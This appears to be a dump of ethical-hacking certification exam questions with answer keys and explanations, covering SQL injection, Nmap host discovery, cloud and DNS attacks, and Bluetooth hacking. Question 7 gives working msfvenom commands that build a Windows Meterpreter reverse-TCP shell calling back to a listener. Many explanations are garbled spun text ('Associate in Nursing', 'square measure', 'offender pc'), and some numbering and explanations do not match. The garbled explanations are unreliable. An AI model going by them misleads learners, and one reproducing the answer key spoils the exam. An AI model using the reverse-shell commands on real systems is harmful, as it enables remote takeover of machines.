C. ln-band SQLI
D. Time-based blind SQLI
Answer: B
Explanation:
Out-of-band SQL injection occurs when an attacker is unable to use an equivalent channel to launch the attack and gather results. … Out-of-band SQLi techniques
would believe the database server’s ability to form DNS or HTTP requests to deliver data to an attacker. Out-of-band SQL injection is not very common, mostly
because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL injection occurs when an attacker is
unable to use the same channel to launch the attack and gather results.
Out-of-band techniques, offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an
inferential time-based attack unreliable).
Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTPrequests to deliver data to an attacker. Such is the case with
Microsoft SQLServer’s xp_dirtree command, which can be used to make DNS requests to a server an attackercontrols; as well as Oracle Database’s UTL_HTTP
package, which can be used to send HTTP requestsfrom SQL and PL/SQL to a server an attacker controls.
NEW QUESTION 2
Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target
network. Which of the following host discovery techniques must he use to perform the given task?
A. UDP scan
B. TCP Maimon scan
C. arp ping scan
D. ACK flag probe scan
Answer: C
Explanation:
One of the most common Nmap usage scenarios is scanning an Ethernet LAN. Most LANs, especially those that use the private address range granted by RFC
1918, do not always use the overwhelming majority of IP addresses. When Nmap attempts to send a raw IP packet, such as an ICMP echo request, the OS must
determine a destination hardware (ARP) address, such as the target IP, so that the Ethernet frame can be properly addressed. .. This is required to issue a series
of ARP requests.
This is best illustrated by an example where a ping scan is attempted against an Area Ethernet host.
The –send-ip option tells Nmap to send IP-level packets (rather than raw Ethernet), even on area networks. The Wireshark output of the three ARP requests and
their timing have been pasted into the session. Raw IP ping scan example for offline targets
This example took quite a couple of seconds to finish because the (Linux) OS sent three ARP requests at 1 second intervals before abandoning the host. Waiting
for a few seconds is excessive, as long as the ARP response usually arrives within a few milliseconds. Reducing this timeout period is not a priority for OS
vendors, as the overwhelming majority of packets are sent to the host that actually exists. Nmap, on the other hand, needs to send packets to 16 million IP s given
a target like 10.0.0.0/8. Many targets are pinged in parallel, but waiting 2 seconds each is very delayed.
There is another problem with raw IP ping scans on the LAN. If the destination host turns out to be unresponsive, as in the previous example, the source host
usually adds an incomplete entry for that destination IP to the kernel ARP table. ARP tablespaces are finite and some operating systems become unresponsive
when full. If Nmap is used in rawIP mode (–send-ip), Nmap may have to wait a few minutes for the ARP cache entry to expire before continuing host discovery.
ARP scans solve both problems by giving Nmap the highest priority. Nmap issues raw ARP requests and handles retransmissions and timeout periods in its sole
discretion. The system ARP cache is bypassed. The example shows the difference. This ARP scan takes just over a tenth of the time it takes for an equivalent IP.
Example b ARP ping scan of offline target
In example b, neither the -PR option nor the -send-eth option has any effect. This is often because ARP has a default scan type on the Area Ethernet network
when scanning Ethernet hosts that Nmap discovers. This includes traditional wired Ethernet as 802.11 wireless networks. As mentioned above, ARP scanning is
not only more efficient, but also more accurate. Hosts frequently block IP-based ping packets, but usually cannot block ARP requests or responses and
communicate over the network.Nmap uses ARP instead of all targets on equivalent targets, even if different ping types (such as -PE and -PS) are specified. LAN..
If you do not need to attempt an ARP scan at all, specify – send-ip as shown in Example a “Raw IP Ping Scan for Offline Targets”.
If you give Nmap control to send raw Ethernet frames, Nmap can also adjust the source MAC address. If you have the only PowerBook in your security conference
room and a large ARP scan is initiated from an Apple-registered MAC address, your head may turn to you. Use the –spoof-mac option to spoof the MAC address
as described in the MAC Address Spoofing section.
NEW QUESTION 3
Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the targets MSP provider by sending spear-phishing emails and distributed
custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her
MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.
Which of the following cloud attacks did Alice perform in the above scenario?
A. Cloud hopper attack
B. Cloud cryptojacking
C. Cloudborne attack
D. Man-in-the-cloud (MITC) attack
Answer: A
Explanation:
Operation Cloud Hopper was an in depth attack and theft of data in 2017 directed at MSP within the uk (U.K.), us (U.S.), Japan, Canada, Brazil, France,
Switzerland, Norway, Finland, Sweden, South Africa , India, Thailand, South Korea and Australia. The group used MSP as intermediaries to accumulate assets
and trade secrets from MSP client engineering, MSP industrial manufacturing, retail, energy, pharmaceuticals, telecommunications, and government agencies.
Operation Cloud Hopper used over 70 variants of backdoors, malware and trojans. These were delivered through spear-phishing emails. The attacks scheduled
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tasks or leveraged services/utilities to continue Microsoft Windows systems albeit the pc system was rebooted. It installed malware and hacking tools to access
systems and steal data.
NEW QUESTION 4
joe works as an it administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached
out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider, in the NIST cloud
deployment reference architecture, under which category does the telecom company fall in the above scenario?
A. Cloud booker
B. Cloud consumer
C. Cloud carrier
D. Cloud auditor
Answer: C
Explanation:
A cloud carrier acts as an intermediary that provides connectivity and transport of cloud services between cloud consumers and cloud providers.
Cloud carriers provide access to consumers through network, telecommunication and other access devices. for instance, cloud consumers will obtain cloud
services through network access devices, like computers, laptops, mobile phones, mobile web devices (MIDs), etc.
The distribution of cloud services is often provided by network and telecommunication carriers or a transport agent, wherever a transport agent refers to a business
organization that provides physical transport of storage media like high- capacity hard drives.
Note that a cloud provider can started SLAs with a cloud carrier to provide services consistent with the level of SLAs offered to cloud consumers, and will require
the cloud carrier to provide dedicated and secure connections between cloud consumers and cloud providers.
NEW QUESTION 5
Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that
can process API requests and handle various Docker objects, such as containers, volumes. Images, and networks. What is the component of the Docker
architecture used by Annie in the above scenario?
A. Docker client
B. Docker objects
C. Docker daemon
D. Docker registries
Answer: C
Explanation:
Docker uses a client-server design. The docker client talks to the docker daemon, that will the work of building, running, and distributing your docker containers.
The docker client and daemon will run on the same system, otherwise you will connect a docker consumer to a remote docker daemon. The docker consumer and
daemon communicate using a REST API, over OS sockets or a network interface.
The docker daemon (dockerd) listens for docker API requests and manages docker objects like pictures, containers, networks, and volumes. A daemon may
communicate with other daemons to manage docker services.
NEW QUESTION 6
Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven
enabled iTunes WI-FI sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now,
Clark gains access to Steven’s iPhone through the infected computer and is able to monitor and read all of Steven’s activity on the iPhone, even after the device
is out of the communication zone.
Which of the following attacks is performed by Clark in above scenario?
A. IOS trustjacking
B. lOS Jailbreaking
C. Exploiting SS7 vulnerability
D. Man-in-the-disk attack
Answer: A
Explanation:
An iPhone client’s most noticeably terrible bad dream is to have somebody oversee his/her gadget, including the capacity to record and control all action without
waiting be in a similar room. In this blog entry, we present another weakness called “Trustjacking”, which permits an aggressor to do precisely that.
This weakness misuses an iOS highlight called iTunes Wi-Fi sync, which permits a client to deal with their iOS gadget without genuinely interfacing it to their PC. A
solitary tap by the iOS gadget proprietor when the two are associated with a similar organization permits an assailant to oversee the gadget. Furthermore, we will
stroll through past related weaknesses and show the progressions that iPhone has made to alleviate them, and why these are adequately not to forestall
comparative assaults.
After interfacing an iOS gadget to another PC, the clients are being found out if they trust the associated PC or not. Deciding to believe the PC permits it to speak
with the iOS gadget by means of the standard iTunes APIs.
This permits the PC to get to the photographs on the gadget, perform reinforcement, introduce applications and considerably more, without requiring another
affirmation from the client and with no recognizable sign. Besides, this permits enacting the “iTunes Wi-Fi sync” highlight, which makes it conceivable to proceed
with this sort of correspondence with the gadget even after it has been detached from the PC, as long as the PC and the iOS gadget are associated with a similar
organization. It is intriguing to take note of that empowering “iTunes Wi-Fi sync” doesn’t need the casualty’s endorsement and can be directed simply from the
PC side.
Getting a live stream of the gadget’s screen should be possible effectively by consistently requesting screen captures and showing or recording them distantly.
It is imperative to take note of that other than the underlying single purpose of disappointment, approving the vindictive PC, there is no other component that
forestalls this proceeded with access. Likewise, there isn’t anything that informs the clients that by approving the PC they permit admittance to their gadget even in
the wake of detaching the USB link.
NEW QUESTION 7
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
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A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
Answer: C
Explanation:
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is
the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of
these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options
(LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP
address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
NEW QUESTION 8
which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while
simultaneously gathering information about the hacker?
A. intrusion detection system
B. Honeypot
C. BotnetD Firewall
Answer: B
Explanation:
A honeypot may be a trap that an IT pro lays for a malicious hacker, hoping that they will interact with it during a way that gives useful intelligence. It’s one among
the oldest security measures in IT, but beware: luring hackers onto your network, even on an isolated system, are often a dangerous game. honeypot may be a
good starting place: “A honeypot may be a computer or computing system intended to mimic likely targets of cyberattacks.” Often a honeypot are going to be
deliberately configured with known vulnerabilities in situation to form a more tempting or obvious target for attackers. A honeypot won’t contain production data or
participate in legitimate traffic on your network — that’s how you’ll tell anything happening within it’s a results of an attack. If someone’s stopping by, they’re up to
no good.
That definition covers a various array of systems, from bare-bones virtual machines that only offer a couple of vulnerable systems to ornately constructed fake
networks spanning multiple servers. and therefore the goals of these who build honeypots can vary widely also , starting from defense thorough to academic
research. additionally , there’s now an entire marketing category of deception technology that, while not meeting the strict definition of a honeypot, is certainly
within the same family. But we’ll get thereto during a moment. honeypots aim to permit close analysis of how hackers do their dirty work. The team controlling the
honeypot can watch the techniques hackers use to infiltrate systems, escalate privileges, and otherwise run amok through target networks. These sorts of
honeypots are found out by security companies, academics, and government agencies looking to look at the threat landscape. Their creators could also be curious
about learning what kind of attacks are out there, getting details on how specific sorts of attacks work, or maybe trying to lure a specific hackers within the hopes of
tracing the attack back to its source. These systems are often inbuilt fully isolated lab environments, which ensures that any breaches don’t end in non-honeypot
machines falling prey to attacks.
Production honeypots, on the opposite hand, are usually deployed in proximity to some organization’s production infrastructure, though measures are taken to
isolate it the maximum amount as possible. These honeypots often serve both as bait to distract hackers who could also be trying to interrupt into that
organization’s network, keeping them faraway from valuable data or services; they will also function a canary within the coalpit , indicating that attacks are
underway and are a minimum of partially succeeding.
NEW QUESTION 9
Consider the following Nmap output:
what command-line parameter could you use to determine the type and version number of the web server?
A. -sv
B. -Pn
C. -V
D. -ss
Answer: A
Explanation:
C:\Users\moi>nmap -h | findstr " -sV" -sV: Probe open ports to determine service/version info
NEW QUESTION 10
what are common files on a web server that can be misconfigured and provide useful Information for a hacker such as verbose error messages?
A. httpd.conf
B. administration.config
C. idq.dll
D. php.ini
Answer: D
Explanation:
The php.ini file may be a special file for PHP. it’s where you declare changes to your PHP settings. The server is already configured with standard settings for
PHP, which your site will use by default.
Unless you would like to vary one or more settings, there’s no got to create or modify a php.ini file. If you’d wish to make any changes to settings, please do so
through the MultiPHP INI Editor.
NEW QUESTION 10
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You are a penetration tester working to test the user awareness of the employees of the client xyz.
You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the
cyber kill chain are you at?
A. Reconnaissance
B. Command and control
C. Weaponization
D. Exploitation
Answer: C
Explanation:
Weaponization
The adversary analyzes the data collected in the previous stage to identify the vulnerabilities and techniques that can exploit and gain unauthorized access to the
target organization. Based on the vulnerabilities identified during analysis, the adversary selects or creates a tailored deliverable malicious payload (remote-access
malware weapon) using an exploit and a backdoor to send it to the victim. An adversary may target specific network devices, operating systems, endpoint devices,
or even individuals within the organization to carry out their attack. For example, the adversary may send a phishing email to an employee of the target
organization, which may include a malicious attachment such as a virus or worm that, when downloaded, installs a backdoor on the system that allows remote
access to the adversary. The following are the activities of the adversary: o Identifying appropriate malware payload based on the analysis o Creating a new
malware payload or selecting, reusing, modifying the available malware payloads based on the identified vulnerability o Creating a phishing email campaign o
Leveraging exploit kits and botnets https://en.wikipedia.org/wiki/Kill_chain The Cyber Kill Chain consists of 7 steps: Reconnaissance, weaponization, delivery,
exploitation, installation, command and control, and finally, actions on objectives. Below you can find detailed information on each.
* 1. Reconnaissance: In this step, the attacker/intruder chooses their target. Then they conduct indepth research on this target to identify its vulnerabilities that can
be exploited.
* 2. Weaponization: In this step, the intruder creates a malware weapon like a virus, worm, or such to exploit the target's vulnerabilities. Depending on the target
and the purpose of the attacker, this malware can exploit new, undetected vulnerabilities (also known as the zero-day exploits) or focus on a combination of
different vulnerabilities.
* 3. Delivery: This step involves transmitting the weapon to the target. The intruder/attacker can employ different USB drives, e-mail attachments, and websites for
this purpose.
* 4. Exploitation: In this step, the malware starts the action. The program code of the malware is triggered to exploit the target’s vulnerability/vulnerabilities.
* 5. Installation: In this step, the malware installs an access point for the intruder/attacker. This access point is also known as the backdoor.
* 6. Command and Control: The malware gives the intruder/attacker access to the network/system.
* 7. Actions on Objective: Once the attacker/intruder gains persistent access, they finally take action to fulfill their purposes, such as encryption for ransom, data
exfiltration, or even data destruction.
NEW QUESTION 12
John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker
Installed a scanner on a machine belonging to one of the vktims and scanned several machines on the same network to Identify vulnerabilities to perform further
exploitation. What is the type of vulnerability assessment tool employed by John in the above scenario?
A. Proxy scanner
B. Agent-based scanner
C. Network-based scanner
D. Cluster scanner
Answer: C
Explanation:
Network-based scanner
A network-based vulnerability scanner, in simplistic terms, is the process of identifying loopholes on a computer’s network or IT assets, which hackers and threat
actors can exploit. By implementing this process, one can successfully identify their organization’s current risk(s). This is not where the buck stops; one can also
verify the effectiveness of your system's security measures while improving internal and external defenses. Through this review, an organization is well equipped to
take an extensive inventory of all systems, including operating systems, installed software, security patches, hardware, firewalls, anti-virus software, and much
more.
Agent-based scanner
Agent-based scanners make use of software scanners on each and every device; the results of the scans are reported back to the central server. Such scanners
are well equipped to find and report out on a range of vulnerabilities. NOTE: This option is not suitable for us, since for it to work, you need to install a special agent
on each computer before you start collecting data from them.
NEW QUESTION 13
There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share
the costs and allow each customer to enjoy lower operations expenses. One solution Is for a customer to Join with a group of users or organizations to share a
cloud environment. What is this cloud deployment option called?
A. Hybrid
B. Community
C. Public
D. Private
Answer: B
Explanation:
The purpose of this idea is to permit multiple customers to figure on joint projects and applications that belong to the community, where it’s necessary to possess
a centralized clouds infrastructure. In other words, Community Cloud may be a distributed infrastructure that solves the precise problems with business sectors by
integrating the services provided by differing types of clouds solutions.
The communities involved in these projects, like tenders, business organizations, and research companies, specialise in similar issues in their cloud interactions.
Their shared interests may include concepts and policies associated with security and compliance considerations, and therefore the goals of the project also .
Community Cloud computing facilitates its users to spot and analyze their business demands better.
Community Clouds could also be hosted during a data center, owned by one among the tenants, or by a third-party cloud services provider and may be either onsite
or off-site. Community Cloud Examples and Use Cases
Cloud providers have developed Community Cloud offerings, and a few organizations are already seeing the advantages . the subsequent list shows a number of
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the most scenarios of the Community Cloud model that’s beneficial to the participating organizations.
Multiple governmental departments that perform transactions with each other can have their processing systems on shared infrastructure. This setup makes it costeffective
to the tenants, and may also reduce their data traffic. Benefits of Community Clouds
Community Cloud provides benefits to organizations within the community, individually also as collectively. Organizations don’t need to worry about the safety
concerns linked with Public Cloud due to the closed user group. This recent cloud computing model has great potential for businesses seeking cost-effective cloud
services to collaborate on joint projects, because it comes with multiple advantages.
Openness and Impartiality
Community Clouds are open systems, and that they remove the dependency organizations wear cloud service providers. Organizations are able to do many
benefits while avoiding the disadvantages of both public and personal clouds. Flexibility and Scalability
Ensures compatibility among each of its users, allowing them to switch properties consistent with their individual use cases. They also enable companies to
interact with their remote employees and support the utilization of various devices, be it a smartphone or a tablet. This makes this sort of cloud solution more
flexible to users’ demands.
Consists of a community of users and, as such, is scalable in several aspects like hardware resources, services, and manpower. It takes under consideration
demand growth, and you simply need to increase the user-base. High Availability and Reliability
Your cloud service must be ready to make sure the availability of knowledge and applications in the least times. Community Clouds secure your data within the
same way as the other cloud service, by replicating data and applications in multiple secure locations to guard them from unforeseen circumstances.
Cloud possesses redundant infrastructure to form sure data is out there whenever and wherever you would like it. High availability and reliability are critical
concerns for any sort of cloud solution. Security and Compliance
Two significant concerns discussed when organizations believe cloud computing are data security and compliance with relevant regulatory authorities.
Compromising each other’s data security isn’t profitable to anyone during a Community Cloud.
Users can configure various levels of security for his or her data. Common use cases: the power to dam users from editing and downloading specific datasets.
Making sensitive data subject to strict regulations on who has access to Sharing sensitive data unique to a specific organization would bring harm to all or any the
members involved.
What devices can store sensitive data. Convenience and Control
Conflicts associated with convenience and control don’t arise during a Community Cloud. Democracy may be a crucial factor the Community Cloud offers as all
tenants share and own the infrastructure and make decisions collaboratively. This setup allows organizations to possess their data closer to them while avoiding
the complexities of a personal Cloud.
Less Work for the IT Department
Having data, applications, and systems within the cloud means you are doing not need to manage them entirely. This convenience eliminates the necessity for
tenants to use extra human resources to manage the system. Even during a self-managed solution, the work is split among the participating organizations.
Environment Sustainability
In the Community Cloud, organizations use one platform for all their needs, which dissuades them from investing in separate cloud facilities. This shift introduces a
symbiotic relationship between broadening and shrinking the utilization of cloud among clients. With the reduction of organizations using different clouds,
resources are used more efficiently, thus resulting in a smaller carbon footprint.
NEW QUESTION 18
Bob was recently hired by a medical company after it experienced a major cyber security breach.
Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search.
Bob's boss is very worried because of regulations that protect those dat a. Which of the following regulations is mostly violated?
A. HIPPA/PHl
B. Pll
C. PCIDSS
D. ISO 2002
Answer: A
Explanation:
PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an
array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that’s used, maintained, stored, or transmitted by a HIPAAcovered
entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the
availability of aid or payment for aid services.
It is not only past and current medical info that’s considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and
mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info.
Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes
individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names,
Social Security numbers, Driver’s license numbers, insurance details, and birth dates, once they square measure connected with health info.
The eighteen identifiers that create health info letter are: Names
Dates, except year phonephone numbers Geographic information FAX numbers
Social Security numbers Email addresses
case history numbers Account numbers
Health arrange beneficiary numbers Certificate/license numbers
Vehicle identifiers and serial numbers together with license plates Web URLs
Device identifiers and serial numbers net protocol addresses
Full face photos and comparable pictures Biometric identifiers (i.e. retinal scan, fingerprints) Any distinctive identifying variety or code
One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data.
HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the
confidentiality, integrity, and availability of phi as stipulated within the HIPAA
Security Rule.
NEW QUESTION 19
Which file is a rich target to discover the structure of a website during web-server footprinting?
A. Document root
B. Robots.txt
C. domain.txt
D. index.html
Answer: B
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NEW QUESTION 20
Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve
performed DNS cache poisoning by exploiting the vulnerabilities In the DNS server software and modified the original IP address of the target website to that of a
fake website. What is the technique employed by Steve to gather information for identity theft?
A. Pretexting
B. Pharming
C. Wardriving
D. Skimming
Answer: B
Explanation:
A pharming attacker tries to send a web site’s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or
putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment
card data.
Though they share similar goals, pharming uses a special technique from phishing. “Pharming attacker are targeted on manipulating a system, instead of tricking
people into reaching to a dangerous web site,” explains David Emm, principal security man of science at Kaspersky. “When either a phishing or pharming attacker
is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often
undertaken are completely different.”
NEW QUESTION 21
what firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?
A. Decoy scanning
B. Packet fragmentation scanning
C. Spoof source address scanning
D. Idle scanning
Answer: D
Explanation:
The idle scan could be a communications protocol port scan technique that consists of causing spoofed packets to a pc to seek out out what services square
measure obtainable. this can be accomplished by impersonating another pc whose network traffic is extremely slow or nonexistent (that is, not transmission or
receiving information). this might be associate idle pc, known as a “zombie”.
This action are often done through common code network utilities like nmap and hping. The attack involves causing solid packets to a particular machine target in
an attempt to seek out distinct characteristics of another zombie machine. The attack is refined as a result of there’s no interaction between the offender pc and
also the target: the offender interacts solely with the “zombie” pc.
This exploit functions with 2 functions, as a port scanner and a clerk of sure informatics relationships between machines. The target system interacts with the
“zombie” pc and distinction in behavior are often discovered mistreatment totally different|completely different “zombies” with proof of various privileges granted
by the target to different computers.
The overall intention behind the idle scan is to “check the port standing whereas remaining utterly invisible to the targeted host.” The first step in execution
associate idle scan is to seek out associate applicable zombie. It must assign informatics ID packets incrementally on a worldwide (rather than per-host it
communicates with) basis. It ought to be idle (hence the scan name), as extraneous traffic can raise its informatics ID sequence, confusing the scan logic. The
lower the latency between the offender and also the zombie, and between the zombie and also the target, the quicker the scan can proceed.
Note that once a port is open, IPIDs increment by a pair of. Following is that the sequence: offender to focus on -> SYN, target to zombie ->SYN/ACK, Zombie to
focus on -> RST (IPID increment by 1) currently offender tries to probe zombie for result. offender to Zombie ->SYN/ACK, Zombie to offender -> RST (IPID
increment by 1) So, during this method IPID increments by a pair of finally.
When associate idle scan is tried, tools (for example nmap) tests the projected zombie and reports any issues with it. If one does not work, attempt another.
Enough net hosts square measure vulnerable that zombie candidates are not exhausting to seek out. a standard approach is to easily execute a ping sweep of
some network. selecting a network close to your supply address, or close to the target, produces higher results. you’ll be able to attempt associate idle scan
mistreatment every obtainable host from the ping sweep results till you discover one that works. As usual, it’s best to raise permission before mistreatment
someone’s machines for surprising functions like idle scanning.
Simple network devices typically create nice zombies as a result of {they square measure|they’re} normally each underused (idle) and designed with
straightforward network stacks that are susceptible to informatics ID traffic detection. While distinguishing an acceptable zombie takes some initial work, you’ll be
able to keep re-using the nice ones. as an alternative, there are some analysis on utilizing unplanned public internet services as zombie hosts to perform similar
idle scans. leverage the approach a number of these services perform departing connections upon user submissions will function some quite poor’s man idle
scanning.
NEW QUESTION 26
What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?
A. The attacker queries a nameserver using the DNS resolver.
B. The attacker makes a request to the DNS resolver.
C. The attacker forges a reply from the DNS resolver.
D. The attacker uses TCP to poison the ONS resofver.
Answer: B
Explanation:
DNS spoofing — Википедия
Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where
your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored
on your server or computer.
The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their
computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as
well.
Different Stages of Attack of DNS Cache Poisoning:
- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.
- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the
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attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their
chance of success.
- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the
malicious website.
NEW QUESTION 29
in an attempt to increase the security of your network, you Implement a solution that will help keep your wireless network undiscoverable and accessible only to
those that know It. How do you accomplish this?
A. Delete the wireless network
B. Remove all passwords
C. Lock all users
D. Disable SSID broadcasting
Answer: D
Explanation:
The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary
function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to
change your router’s settings.
Disabling SSID broadcast will make your Wi-FI network name invisible to other users. However, this only hides the name, not the network itself. You cannot
disguise the router's activity, so hackers can still attack it.
With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-FI password to your guests is no longer enough.
They have to configure their settings manually by including the network name, security mode, and other relevant info.
Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider
the following aspects:
- Disabling SSID broadcast will not hide your network completely
Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the
presence of a wireless network. They contain essential information about the network and help the device connect.
- Third-party software can easily trace a hidden network
Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks –
hidden or not.
- You might attract unwanted attention.
Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some
hackers might be attracted to your network.
NEW QUESTION 33
what is the port to block first in case you are suspicious that an loT device has been compromised?
A. 22
B. 443
C. 48101
D. 80
Answer: C
Explanation:
TCP port 48101 uses the Transmission management Protocol. transmission control protocol is one in all the most protocols in TCP/IP networks. transmission
control protocol could be a connectionoriented protocol, it needs acknowledgement to line up end-to-end communications. only a association is about up user’s
knowledge may be sent bi-directionally over the association.
Attention! transmission control protocol guarantees delivery of knowledge packets on port 48101 within the same order during which they were sent. bonded
communication over transmission control protocol port 48101 is that the main distinction between transmission control protocol and UDP. UDP port 48101
wouldn’t have bonded communication as transmission control protocol.
UDP on port 48101 provides Associate in Nursing unreliable service and datagrams might arrive duplicated, out of order, or missing unexpectedly. UDP on port
48101 thinks that error checking and correction isn’t necessary or performed within the application, avoiding the overhead of such process at the network interface
level.
UDP (User Datagram Protocol) could be a borderline message-oriented Transport Layer protocol (protocol is documented in IETF RFC 768).
Application examples that always use UDP: vocalisation IP (VoIP), streaming media and period multiplayer games. several internet applications use UDP, e.g. the
name System (DNS), the Routing info Protocol (RIP), the Dynamic Host Configuration Protocol (DHCP), the straightforward Network Management Protocol
(SNMP).
NEW QUESTION 35
Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network lo identify the active systems, network
services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network. What is the type of vulnerability
assessment that Morris performed on the target organization?
A. internal assessment
B. Passive assessment
C. External assessment
D. Credentialed assessment
Answer: B
Explanation:
Passive Assessment Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities.
Passive assessments also provide a list of the users who are currently accessing the network.
NEW QUESTION 38
Larry, a security professional in an organization, has noticed some abnormalities In the user accounts on a web server. To thwart evolving attacks, he decided to
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harden the security of the web server by adopting a countermeasures to secure the accounts on the web server.
Which of the following countermeasures must Larry implement to secure the user accounts on the web server?
A. Enable unused default user accounts created during the installation of an OS
B. Enable all non-interactive accounts that should exist but do not require interactive login
C. Limit the administrator or toot-level access to the minimum number of users
D. Retain all unused modules and application extensions
Answer: C
NEW QUESTION 39
Bella, a security professional working at an it firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames.
and passwords are shared In plaintext, paving the way for hackers 10 perform successful session hijacking. To address this situation. Bella Implemented a
protocol that sends data using encryption and digital certificates.
Which of the following protocols Is used by Bella?
A. FTP
B. HTTPS
C. FTPS
D. IP
Answer: C
Explanation:
The File Transfer Protocol (FTP) is a standard organization convention utilized for the exchange of PC records from a worker to a customer on a PC organization.
FTP is based on a customer worker model engineering utilizing separate control and information associations between the customer and the server.[1] FTP clients
may validate themselves with an unmistakable book sign-in convention, ordinarily as a username and secret key, however can interface namelessly if the worker is
designed to permit it. For secure transmission that ensures the username and secret phrase, and scrambles the substance, FTP is frequently made sure about
with SSL/TLS (FTPS) or supplanted with SSH File Transfer Protocol (SFTP).
The primary FTP customer applications were order line programs created prior to working frameworks had graphical UIs, are as yet dispatched with most
Windows, Unix, and Linux working systems.[2][3] Many FTP customers and mechanization utilities have since been created for working areas, workers, cell
phones, and equipment, and FTP has been fused into profitability applications, for example, HTML editors.
NEW QUESTION 44
which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?
A. Bluesmacking
B. Bluebugging
C. Bluejacking
D. Bluesnarfing
Answer: D
Explanation:
Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and
PDAs (personal digital assistant).
